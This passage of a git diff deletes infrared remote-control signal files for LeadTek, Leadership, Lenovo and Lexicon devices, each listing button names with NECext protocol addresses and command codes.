a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LeadTek/Unknown_RM-0007/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LeadTek/Unknown_RM-0007/3,-1.ir deleted file mode 100644 index 22837f8c7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LeadTek/Unknown_RM-0007/3,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 00 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 01 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 02 00 00 00 -# -name: PC/TV -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 03 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 04 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 05 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 06 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 07 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 08 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 09 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0A 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0C 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0D 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0E 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 10 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 11 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 12 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 14 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 15 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 16 00 00 00 -# -name: KEY_OPTION -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1A 00 00 00 -# -name: MTS -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1B 00 00 00 -# -name: KEY_HELP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1C 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1D 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: CC -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y0400046/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y0400046/3,-1.ir deleted file mode 100644 index bc5580444..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y0400046/3,-1.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 00 00 00 00 -# -name: TVFM -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 02 00 00 00 -# -name: KEY_F11 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 03 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 04 00 00 00 -# -name: Num1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 05 00 00 00 -# -name: Num2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 06 00 00 00 -# -name: Num3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 07 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 08 00 00 00 -# -name: Num4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 09 00 00 00 -# -name: Num5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0A 00 00 00 -# -name: Num6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0C 00 00 00 -# -name: Num7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0D 00 00 00 -# -name: Num8 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0E 00 00 00 -# -name: Num9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0F 00 00 00 -# -name: Ch_Dn -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 10 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 11 00 00 00 -# -name: Num0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 12 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 14 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 16 00 00 00 -# -name: FineTune_Up -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: FineTune_Down -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: MTS -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1B 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 40 00 00 00 -# -name: Period -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 41 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 42 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 43 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 44 00 00 00 -# -name: TimeShifting -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 45 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 46 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 47 00 00 00 -# -name: SnapShot -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 48 00 00 00 -# -name: Boss -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 49 00 00 00 -# -name: PiP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4A 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y0400052/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y0400052/3,-1.ir deleted file mode 100644 index 5bb5918b2..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y0400052/3,-1.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 00 00 00 00 -# -name: CROSS -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 03 00 00 00 -# -name: KEY_F11 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 03 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 04 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 05 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 06 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 07 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 08 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 09 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0A 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0C 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0D 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0E 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 10 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 11 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 12 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 14 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 15 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 16 00 00 00 -# -name: FINE_UP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 18 00 00 00 -# -name: FINE_DOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1B 00 00 00 -# -name: MTS -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1B 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: CC -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: ZZ -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 40 00 00 00 -# -name: KEY_DOT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 41 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 42 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 43 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 44 00 00 00 -# -name: TIMESHIFT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 45 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 46 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 46 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 47 00 00 00 -# -name: SNAPSHOT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 48 00 00 00 -# -name: BOSS_KEY -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 49 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4A 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4F 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4F 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 50 00 00 00 -# -name: SQUARES -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 51 00 00 00 -# -name: CH_SURF -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 52 00 00 00 -# -name: KEY_L -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 53 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 54 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 55 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 56 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 57 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 58 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y04G0004/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y04G0004/3,-1.ir deleted file mode 100644 index 99f027127..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LeadTek/Unknown_Y04G0004/3,-1.ir +++ /dev/null @@ -1,296 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 00 00 00 00 -# -name: Aspect -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 03 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 04 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 05 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 06 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 07 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 08 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 09 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0A 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0B 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0C 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0D 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0E 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0F 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 10 00 00 00 -# -name: KEY_DELETE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 11 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 12 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 14 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 16 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1B 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1E 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1F 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 40 00 00 00 -# -name: KEY_DOT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 41 00 00 00 -# -name: PreviousTrack -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 42 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 43 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 44 00 00 00 -# -name: TimeShift -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 45 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 46 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 46 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 47 00 00 00 -# -name: SnapShot -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 48 00 00 00 -# -name: Bosskey -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 49 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4A 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4E 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 4F 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 50 00 00 00 -# -name: Surf -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 51 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 52 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 53 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 54 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 55 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 56 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 57 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 58 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Leadership/Unknown_GOTEC/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Leadership/Unknown_GOTEC/0,-1.ir deleted file mode 100644 index 426a161ef..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Leadership/Unknown_GOTEC/0,-1.ir +++ /dev/null @@ -1,296 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_NUMERIC_STAR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: KEY_NUMERIC_POUND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_PC -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_IMAGES -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: more -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: mytv -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1C 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: aspect -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: rtv -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4B 00 00 00 -# -name: KEY_HELP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4F 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_TITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: tela -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: msn -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lenovo/Unknown_Y530/4,69.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lenovo/Unknown_Y530/4,69.ir deleted file mode 100644 index 2bdcbbd9f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lenovo/Unknown_Y530/4,69.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 04 45 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 45 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 45 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 45 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 45 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 45 00 00 -command: 1F 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 04 45 00 00 -command: 20 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 04 45 00 00 -command: 21 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 04 45 00 00 -command: 28 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 04 45 00 00 -command: 29 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 04 45 00 00 -command: 2C 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 04 45 00 00 -command: 2E 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 45 00 00 -command: 30 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 45 00 00 -command: 31 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 04 45 00 00 -command: 37 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 04 45 00 00 -command: 3E 00 00 00 -# -name: KEY_MEDIA -type: parsed -protocol: NECext -address: 04 45 00 00 -command: 54 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 45 00 00 -command: 58 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 45 00 00 -command: 59 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 45 00 00 -command: 5A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 45 00 00 -command: 5B 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 45 00 00 -command: 5C 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 04 45 00 00 -command: 5D 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 04 45 00 00 -command: 83 00 00 00 -# -name: KEY_PVR -type: parsed -protocol: NECext -address: 04 45 00 00 -command: 9B 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 45 00 00 -command: CB 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lexicon/DVD Player/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lexicon/DVD Player/4,-1.ir deleted file mode 100644 index 79aa72a16..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Lexicon/DVD Player/4,-1.ir +++ /dev/null @@ -1,182 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: SKIP_>> -type: parsed 